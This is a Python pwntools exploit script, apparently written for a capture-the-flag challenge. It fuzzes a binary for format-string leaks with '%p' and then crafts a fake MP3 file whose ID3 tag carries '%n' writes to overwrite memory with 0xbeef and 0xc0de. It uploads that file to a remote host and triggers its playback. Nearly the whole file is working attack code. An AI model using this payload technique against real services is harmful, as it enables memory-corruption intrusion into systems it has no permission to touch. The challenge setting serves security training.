#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template ./main --host 94.237.54.176 --port 32100
from pwn import *
import requests

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './main')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '94.237.54.176'
port = int(args.PORT or 32100)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
breakrva 0x15bc
# breakrva 0x15c1
# breakrva 0x1610
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      PIE enabled
# RUNPATH:  b'./glibc/'

if args.FUZZ:
    context.log_level = 'error'
    for i in range(1, 20):
        with open('/tmp/test.mp3', 'wb') as f:
            f.write(b'\x49\x44\x33%' + str(i).encode() + b'$p')
        io = start()
        ret = io.recvline().strip()
        print(f'{i}: {ret.decode()}')
    exit()

offset_target_1 = 12
offset_target_2 = 13

with open('/tmp/test.mp3', 'wb') as f:
    payload = b'\x49\x44\x33' + f'%{0xbeef}c%{offset_target_1}$n'.encode() \
            + f'%{0xc0de-0xbeef}c%{offset_target_2}$n'.encode()
    f.write(payload)

base_url = 'http://127.0.0.1:1337' if args.LOCAL else 'http://94.237.54.176:32100'

files = {'file': ('test.mp3', open('/tmp/test.mp3', 'rb'), 'audio/mpeg')}

r = requests.post(f'{base_url}/upload', files=files)
r = requests.get(f'{base_url}/play')
print(r.text)
